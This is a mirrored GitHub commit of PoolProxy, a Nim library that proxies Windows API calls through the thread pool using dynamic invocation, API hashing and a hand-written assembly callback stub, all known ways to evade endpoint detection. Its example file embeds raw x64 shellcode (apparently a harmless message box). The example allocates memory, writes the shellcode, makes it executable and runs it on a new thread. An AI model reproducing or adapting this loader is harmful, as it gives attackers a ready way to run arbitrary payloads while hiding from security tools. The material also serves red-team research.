mirror of
https://github.com/nbaertsch/PoolProxy
synced 2026-08-09 12:58:04 +00:00
initial commit
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
nimcache/
|
||||
nimblecache/
|
||||
htmldocs/
|
||||
|
||||
bin/
|
||||
*.exe
|
||||
|
||||
testresults/
|
||||
@@ -0,0 +1,11 @@
|
||||
# Package
|
||||
version = "1.0.0"
|
||||
author = "nbaertsch"
|
||||
description = "Proxy function calls through the thread pool with ease"
|
||||
license = "GPL-3.0"
|
||||
srcDir = "src"
|
||||
|
||||
# Dependencies
|
||||
requires "nim >= 2.0.0"
|
||||
requires "winim >= 3.9.2"
|
||||
requires "https://github.com/nbaertsch/nimvoke"
|
||||
@@ -0,0 +1,211 @@
|
||||
## File: shellcode.nim
|
||||
## Author: nbaertsch
|
||||
##
|
||||
## Example usage of 'PoolProxy' to execute shellcode
|
||||
|
||||
import winim/lean
|
||||
import ../src/PoolProxy/PoolProxy
|
||||
import nimvoke/dinvoke
|
||||
|
||||
# Message box shellcode
|
||||
var shellcode = @[
|
||||
byte 0x48, 0x83, 0xec, 0x28, 0xe8, 0x9f, 0x02, 0x00, 0x00, 0x48, 0x83, 0xc4,
|
||||
0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x18, 0x65, 0x48, 0x8b, 0x04,
|
||||
0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x04,
|
||||
0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x4c, 0x24,
|
||||
0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x85, 0xc0, 0x74, 0x58,
|
||||
0x8b, 0x04, 0x24, 0xc1, 0xe8, 0x0d, 0x8b, 0x0c, 0x24, 0xc1, 0xe1, 0x13,
|
||||
0x0b, 0xc1, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe,
|
||||
0x00, 0x83, 0xf8, 0x61, 0x7c, 0x11, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f,
|
||||
0xbe, 0x00, 0x83, 0xe8, 0x20, 0x89, 0x44, 0x24, 0x04, 0xeb, 0x0c, 0x48,
|
||||
0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x89, 0x44, 0x24, 0x04, 0x8b,
|
||||
0x44, 0x24, 0x04, 0x8b, 0x0c, 0x24, 0x03, 0xc8, 0x8b, 0xc1, 0x89, 0x04,
|
||||
0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x48, 0xff, 0xc0, 0x48, 0x89, 0x44,
|
||||
0x24, 0x20, 0xeb, 0x9c, 0x8b, 0x04, 0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3,
|
||||
0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24,
|
||||
0x10, 0x00, 0x00, 0x00, 0x48, 0x63, 0x04, 0x24, 0x48, 0x8b, 0x4c, 0x24,
|
||||
0x20, 0x48, 0x2b, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x18, 0xc3,
|
||||
0x89, 0x4c, 0x24, 0x08, 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0xe8,
|
||||
0x34, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0x44,
|
||||
0x24, 0x58, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x89,
|
||||
0x44, 0x24, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0x89, 0x44, 0x24,
|
||||
0x40, 0x48, 0x8b, 0x4c, 0x24, 0x40, 0xe8, 0xa1, 0xff, 0xff, 0xff, 0x48,
|
||||
0x89, 0x44, 0x24, 0x60, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x00,
|
||||
0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x8b,
|
||||
0x40, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7c, 0x24, 0x28,
|
||||
0x00, 0x75, 0x05, 0xe9, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24,
|
||||
0x28, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48,
|
||||
0x63, 0x40, 0x3c, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48,
|
||||
0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24, 0x70, 0xb8, 0x08, 0x00, 0x00, 0x00,
|
||||
0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x70, 0x8b, 0x84, 0x01,
|
||||
0x88, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x34, 0x83, 0x7c, 0x24, 0x34,
|
||||
0x00, 0x75, 0x05, 0xe9, 0x10, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x34,
|
||||
0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48,
|
||||
0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x0c,
|
||||
0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48,
|
||||
0x89, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0xe8, 0x7a, 0xfe,
|
||||
0xff, 0xff, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b,
|
||||
0x40, 0x20, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b,
|
||||
0xc1, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24,
|
||||
0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0a, 0x8b, 0x44, 0x24, 0x20, 0xff,
|
||||
0xc0, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40,
|
||||
0x18, 0x39, 0x44, 0x24, 0x20, 0x0f, 0x83, 0x95, 0x00, 0x00, 0x00, 0x8b,
|
||||
0x44, 0x24, 0x20, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8b,
|
||||
0x04, 0x81, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b,
|
||||
0xc1, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8c,
|
||||
0x24, 0x88, 0x00, 0x00, 0x00, 0xe8, 0x06, 0xfe, 0xff, 0xff, 0x8b, 0x4c,
|
||||
0x24, 0x48, 0x03, 0xc8, 0x8b, 0xc1, 0x39, 0x84, 0x24, 0xa0, 0x00, 0x00,
|
||||
0x00, 0x75, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x24, 0x48,
|
||||
0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x8b, 0x4c,
|
||||
0x24, 0x20, 0x0f, 0xb7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x30, 0x48,
|
||||
0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x1c, 0x48, 0x8b, 0x4c, 0x24, 0x28,
|
||||
0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x0f, 0xb7, 0x4c, 0x24, 0x30, 0x8b,
|
||||
0x04, 0x88, 0x89, 0x44, 0x24, 0x4c, 0x8b, 0x44, 0x24, 0x4c, 0x48, 0x8b,
|
||||
0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0xeb, 0x17, 0xe9,
|
||||
0x4f, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0x39, 0x44,
|
||||
0x24, 0x40, 0x0f, 0x85, 0x61, 0xfe, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x81,
|
||||
0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0x48, 0x81, 0xec, 0x98,
|
||||
0x00, 0x00, 0x00, 0xb8, 0x75, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
|
||||
0x38, 0xb8, 0x73, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3a, 0xb8,
|
||||
0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3c, 0xb8, 0x72, 0x00,
|
||||
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3e, 0xb8, 0x33, 0x00, 0x00, 0x00,
|
||||
0x66, 0x89, 0x44, 0x24, 0x40, 0xb8, 0x32, 0x00, 0x00, 0x00, 0x66, 0x89,
|
||||
0x44, 0x24, 0x42, 0xb8, 0x2e, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
|
||||
0x44, 0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x46, 0xb8,
|
||||
0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x48, 0xb8, 0x6c, 0x00,
|
||||
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x4a, 0x33, 0xc0, 0x66, 0x89, 0x44,
|
||||
0x24, 0x4c, 0xb8, 0x53, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x20,
|
||||
0xb8, 0x68, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x22, 0xb8, 0x65,
|
||||
0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x24, 0xb8, 0x6c, 0x00, 0x00,
|
||||
0x00, 0x66, 0x89, 0x44, 0x24, 0x26, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66,
|
||||
0x89, 0x44, 0x24, 0x28, 0xb8, 0x63, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44,
|
||||
0x24, 0x2a, 0xb8, 0x6f, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x2c,
|
||||
0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x2e, 0xb8, 0x65,
|
||||
0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x30, 0x33, 0xc0, 0x66, 0x89,
|
||||
0x44, 0x24, 0x32, 0xb8, 0x45, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
|
||||
0x50, 0xb8, 0x78, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x52, 0xb8,
|
||||
0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x54, 0xb8, 0x63, 0x00,
|
||||
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x56, 0xb8, 0x75, 0x00, 0x00, 0x00,
|
||||
0x66, 0x89, 0x44, 0x24, 0x58, 0xb8, 0x74, 0x00, 0x00, 0x00, 0x66, 0x89,
|
||||
0x44, 0x24, 0x5a, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
|
||||
0x5c, 0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x5e, 0xb8,
|
||||
0x20, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x60, 0xb8, 0x73, 0x00,
|
||||
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x62, 0xb8, 0x68, 0x00, 0x00, 0x00,
|
||||
0x66, 0x89, 0x44, 0x24, 0x64, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89,
|
||||
0x44, 0x24, 0x66, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
|
||||
0x68, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6a, 0xb8,
|
||||
0x63, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6c, 0xb8, 0x6f, 0x00,
|
||||
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6e, 0xb8, 0x64, 0x00, 0x00, 0x00,
|
||||
0x66, 0x89, 0x44, 0x24, 0x70, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89,
|
||||
0x44, 0x24, 0x72, 0xb8, 0x21, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
|
||||
0x74, 0x33, 0xc0, 0x66, 0x89, 0x44, 0x24, 0x76, 0xc7, 0x44, 0x24, 0x78,
|
||||
0xa3, 0x10, 0xb7, 0xf8, 0xb9, 0xa3, 0x10, 0xb7, 0xf8, 0xe8, 0x7a, 0xfc,
|
||||
0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d,
|
||||
0x4c, 0x24, 0x38, 0xff, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44,
|
||||
0x24, 0x7c, 0xb4, 0x78, 0x78, 0xcd, 0xb9, 0xb4, 0x78, 0x78, 0xcd, 0xe8,
|
||||
0x54, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00,
|
||||
0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24,
|
||||
0x50, 0x33, 0xc9, 0xff, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x81,
|
||||
0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc]
|
||||
|
||||
when isMainModule:
|
||||
var
|
||||
hProcess: HANDLE = 0xFFFFFFFFFFFFFFFF # current process
|
||||
objectAttributes: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES()
|
||||
shellcodeSize: SIZE_T = shellcode.len.SIZE_T
|
||||
baseAddr: PVOID
|
||||
|
||||
# test debug
|
||||
dinvokeDefine(
|
||||
ZwAllocateVirtualMemory,
|
||||
"ntdll.dll",
|
||||
proc (ProcessHandle: Handle, BaseAddress: PVOID, ZeroBits: ULONG_PTR, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall.}
|
||||
)
|
||||
|
||||
echo "hProcess: ", toHex(hProcess)
|
||||
echo "&baseAddr: ", toHex(cast[SIZE_T](&baseAddr))
|
||||
echo "0: ", toHex(0)
|
||||
echo "&shellcodeSize: ", toHex(cast[SIZE_T](&shellcodeSize))
|
||||
echo "MEM_RESERVE or MEM_COMMIT: ", toHex(MEM_RESERVE or MEM_COMMIT)
|
||||
echo "PAGE_READWRITE: ", toHex(PAGE_READWRITE)
|
||||
discard stdin.readline
|
||||
|
||||
#[var status = poolproxy[NTSTATUS](ZwAllocateVirtualMemory,
|
||||
"ntdll.dll",
|
||||
hProcess,
|
||||
&baseAddr,
|
||||
0,
|
||||
&shellcodeSize,
|
||||
MEM_RESERVE or MEM_COMMIT,
|
||||
PAGE_READWRITE
|
||||
)]#
|
||||
|
||||
var status = poolproxy(NtAllocateVirtualMemory,
|
||||
"ntdll.dll",
|
||||
hProcess,
|
||||
&baseAddr,
|
||||
0.SIZE_T,
|
||||
&shellcodeSize,
|
||||
(MEM_RESERVE or MEM_COMMIT),
|
||||
PAGE_READWRITE
|
||||
)
|
||||
echo status.toHex()
|
||||
|
||||
var bytesWritten: SIZE_T
|
||||
|
||||
|
||||
# ZwWriteVirtualMemory
|
||||
status = poolproxy[NTSTATUS](NtWriteVirtualMemory,
|
||||
"ntdll.dll",
|
||||
hProcess,
|
||||
baseAddr,
|
||||
&shellcode[0],
|
||||
shellcodeSize.SIZE_T,
|
||||
cast[PSIZE_T](&bytesWritten)
|
||||
)
|
||||
echo status.toHex()
|
||||
|
||||
# ZwProtectVirtualMemory
|
||||
var oldProtect: DWORD
|
||||
status = poolproxy[NTSTATUS](ZwProtectVirtualMemory,
|
||||
"ntdll.dll",
|
||||
hProcess,
|
||||
&baseAddr,
|
||||
&shellcodeSize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&oldProtect
|
||||
)
|
||||
echo status.toHex()
|
||||
|
||||
# ZwCreateThreadEx
|
||||
var hThread: HANDLE
|
||||
#[ This exceeds the limit of 8 args that poolproxy allows for.
|
||||
status = poolproxy(ZwCreateThreadEx,
|
||||
"ntdll.dll",
|
||||
&hThread,
|
||||
GENERIC_EXECUTE,
|
||||
NULL,
|
||||
hProcess,
|
||||
baseAddr,
|
||||
NULL,
|
||||
FALSE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL
|
||||
)
|
||||
]#
|
||||
|
||||
hThread = poolproxy[NTSTATUS](CreateThread,
|
||||
"kernel32.dll",
|
||||
NULL,
|
||||
0,
|
||||
cast[LPTHREAD_START_ROUTINE](baseAddr),
|
||||
NULL,
|
||||
0,
|
||||
NULL
|
||||
)
|
||||
echo hThread.toHex()
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE)
|
||||
@@ -0,0 +1,229 @@
|
||||
import std/macros
|
||||
import std/sysrand
|
||||
|
||||
import winim/lean
|
||||
import nimvoke/dinvoke
|
||||
|
||||
template debug(a: untyped) =
|
||||
when not defined release:
|
||||
a
|
||||
|
||||
|
||||
dinvokeDefine(
|
||||
TpAllocWork,
|
||||
"ntdll.dll",
|
||||
proc (ppWork: ptr PTP_WORK, Callback: PTP_WORK_CALLBACK, Context: PVOID, CallbackEnviron: PTP_CALLBACK_ENVIRON,): NTSTATUS {.stdcall.}
|
||||
)
|
||||
|
||||
dinvokeDefine(
|
||||
TpPostWork,
|
||||
"ntdll.dll",
|
||||
proc (pWork: PTP_WORK) {.stdcall.}
|
||||
)
|
||||
|
||||
dinvokeDefine(
|
||||
TpReleaseWork,
|
||||
"ntdll.dll",
|
||||
proc (pWork: PTP_WORK) {.stdcall.}
|
||||
)
|
||||
|
||||
dinvokeDefine(
|
||||
TpWaitForWork,
|
||||
"ntdll.dll",
|
||||
proc (pWork: PTP_WORK, CancelPendingCallbacks: LOGICAL) {.stdcall.}
|
||||
)
|
||||
|
||||
dinvokeDefine(
|
||||
ZwProtectVirtualMemory,
|
||||
"ntdll.dll",
|
||||
proc (ProcessHandle: Handle, BaseAddress: PVOID, NumberOfBytesToProtect: PULONG, NewAccessProtection: ULONG, OldAccessProtection: PULONG): NTSTATUS {.stdcall.}
|
||||
)
|
||||
|
||||
|
||||
{.passL: "-Wl,--image-base -Wl,0x10000000".}
|
||||
proc workCallbackStub*(instance: PTP_CALLBACK_INSTANCE, ctx: PVOID, work: PTP_WORK) {.stdcall, asmNoStackFrame.} =
|
||||
asm """
|
||||
code:
|
||||
mov rbx, rdx
|
||||
mov r11, [rbx]
|
||||
|
||||
mov rax, [rbx + 0x8] # no cmp since we jump to rax
|
||||
|
||||
cmp r11, [rbx + 0x10]
|
||||
je morecode
|
||||
mov rcx, [rbx + 0x10]
|
||||
|
||||
cmp r11, [rbx + 0x18]
|
||||
je morecode
|
||||
mov rdx, [rbx + 0x18]
|
||||
|
||||
cmp r11, [rbx + 0x20]
|
||||
je morecode
|
||||
mov r8, [rbx + 0x20]
|
||||
|
||||
cmp r11, [rbx + 0x28]
|
||||
je morecode
|
||||
mov r9, [rbx + 0x28]
|
||||
|
||||
cmp r11, [rbx + 0x30]
|
||||
je morecode
|
||||
mov r10, [rbx + 0x30]
|
||||
mov [rsp+0x20], r10
|
||||
|
||||
cmp r11, [rbx + 0x38]
|
||||
je morecode
|
||||
mov r10, [rbx + 0x38]
|
||||
mov [rsp+0x28], r10
|
||||
|
||||
cmp r11, [rbx + 0x40]
|
||||
je morecode
|
||||
mov r10, [rbx + 0x40]
|
||||
mov [rsp+0x30], r10
|
||||
|
||||
cmp r11, [rbx + 0x48]
|
||||
je morecode
|
||||
mov r10, [rbx + 0x48]
|
||||
mov [rsp+0x38], r10
|
||||
|
||||
# There is no more space available in the stack frame for the work callback from `TpAllocPool`
|
||||
# actually there is exactly one more qword available now that we are fucking with the stack frame and overwriting homing space
|
||||
|
||||
morecode:
|
||||
lea r11, evenmorecode
|
||||
push r11
|
||||
jmp rax
|
||||
|
||||
evenmorecode:
|
||||
mov [rbx], rax
|
||||
"""
|
||||
|
||||
|
||||
proc buildContextTpWork*(funcAddr: FARPROC, args: openArray[SIZE_T]): seq[SIZE_T] =
|
||||
## Builds the context struct used for TP_WORK_CALLBACK's
|
||||
var context: seq[SIZE_T]
|
||||
let high = args.high
|
||||
|
||||
var
|
||||
rand = urandom(sizeof(SIZE_T))
|
||||
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
|
||||
sentinelIsSafe: bool = true
|
||||
|
||||
# check sentinel safety
|
||||
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
|
||||
for i in 0..high:
|
||||
if sentinel == args[i]: sentinelIsSafe = false
|
||||
|
||||
# loop to ensure a safe sentinel
|
||||
while not sentinelIsSafe:
|
||||
rand = urandom(sizeof(SIZE_T))
|
||||
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
|
||||
sentinelIsSafe = true
|
||||
# check sentinel safety
|
||||
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
|
||||
for i in 0..high:
|
||||
if sentinel == args[i]: sentinelIsSafe = false
|
||||
|
||||
echo sentinel.toHex() # debug
|
||||
context.add(sentinel)
|
||||
context.add(cast[SIZE_T](funcAddr))
|
||||
|
||||
for i in 0..high:
|
||||
if i <= 3:
|
||||
context.add(args[i]) # reg args
|
||||
else:
|
||||
context.add(args[high-(i-4)]) # stack args, inverted order
|
||||
|
||||
context.add(sentinel)
|
||||
|
||||
return context
|
||||
|
||||
|
||||
proc coerceToSizeT*[T](t: T): SIZE_T =
|
||||
return cast[SIZE_T](t)
|
||||
|
||||
#[
|
||||
macro poolproxy*(funcName: untyped, libName: untyped, args: varargs[SIZE_T, coerceToSizeT]): SIZE_T =
|
||||
let
|
||||
funcNameStr = funcName.strVal
|
||||
libNameStr = libName.strVal
|
||||
|
||||
quote do:
|
||||
#if `args`.len > 8: {.fatal:"poolproxy max args exceeded (8)".}
|
||||
let funcAddr: FARPROC = (hashAsciiStatic(`libNameStr`).getProcAddressByHash(hashAsciiStatic(`funcNameStr`)))
|
||||
var castedArgs: seq[SIZE_T]
|
||||
var context = buildContextTpWork(funcAddr, `args`)
|
||||
|
||||
# create the work object and execute it.
|
||||
var
|
||||
pWork: PTP_WORK = NULL
|
||||
status = TpAllocWork(&pWork, workCallbackStub.PTP_WORK_CALLBACK, context[0].addr, NULL)
|
||||
if status != 0:
|
||||
dbgEcho "TpAllocWork failed: ntstatus= ", toHex(status)
|
||||
TpPostWork(pWork)
|
||||
TpWaitForWork(pWork, FALSE)
|
||||
TpReleaseWork(pWork)
|
||||
context[0]
|
||||
|
||||
]#
|
||||
|
||||
macro poolproxy*(funcName: untyped, libName: untyped, args: varargs[SIZE_T, coerceToSizeT]): untyped =
|
||||
#if args.len > 8: {.fatal:"poolproxy max args exceeded (8)".}
|
||||
let
|
||||
funcNameStr = funcName.strVal
|
||||
libNameStr = libName.strVal
|
||||
|
||||
quote do:
|
||||
let funcAddr: SIZE_T = cast[SIZE_T](hashAsciiStatic(`libNameStr`).getProcAddressByHash(hashAsciiStatic(`funcNameStr`)))
|
||||
var context: seq[SIZE_T]
|
||||
let high = `args`.high
|
||||
|
||||
# find an appropriate sentinel
|
||||
var
|
||||
rand = urandom(sizeof(SIZE_T))
|
||||
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
|
||||
sentinelIsSafe: bool = true
|
||||
# check sentinel safety
|
||||
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
|
||||
for i in 0..high:
|
||||
if sentinel == `args`[i]: sentinelIsSafe = false
|
||||
|
||||
# loop to ensure a safe sentinel
|
||||
while not sentinelIsSafe:
|
||||
rand = urandom(sizeof(SIZE_T))
|
||||
sentinel = cast[ptr SIZE_T](rand[0].addr)[]
|
||||
sentinelIsSafe = true
|
||||
# check sentinel safety
|
||||
if (sentinel == cast[SIZE_T](funcAddr)): sentinelIsSafe = false
|
||||
for i in 0..high:
|
||||
if sentinel == `args`[i]: sentinelIsSafe = false
|
||||
|
||||
# add sentinel and funcAddr to the context struct
|
||||
context.add(sentinel)
|
||||
context.add(cast[SIZE_T](funcAddr))
|
||||
|
||||
# add the rest of the args to the context struct, inverting the stack args order
|
||||
for i in 0..high:
|
||||
if i <= 3:
|
||||
context.add(`args`[i]) # reg args
|
||||
else:
|
||||
context.add(`args`[i]) # context.add(`args`[high-(i-4)]) # stack args
|
||||
|
||||
context.add(sentinel) # add last sentinel
|
||||
|
||||
debug:
|
||||
echo "callback: ", toHex(cast[SIZE_T](workCallbackStub))
|
||||
for i in 0..context.high:
|
||||
echo "[", i, "] ", toHex(context[i])
|
||||
discard stdin.readline
|
||||
|
||||
# create the work object and execute it.
|
||||
var
|
||||
pWork: PTP_WORK = NULL
|
||||
status = TpAllocWork(&pWork, workCallbackStub.PTP_WORK_CALLBACK, context[0].addr, NULL)
|
||||
if status != 0:
|
||||
debug:
|
||||
echo "TpAllocWork failed: ntstatus= ", toHex(status)
|
||||
TpPostWork(pWork)
|
||||
TpWaitForWork(pWork, FALSE)
|
||||
TpReleaseWork(pWork)
|
||||
context[0]
|
||||
Reference in New Issue
Block a user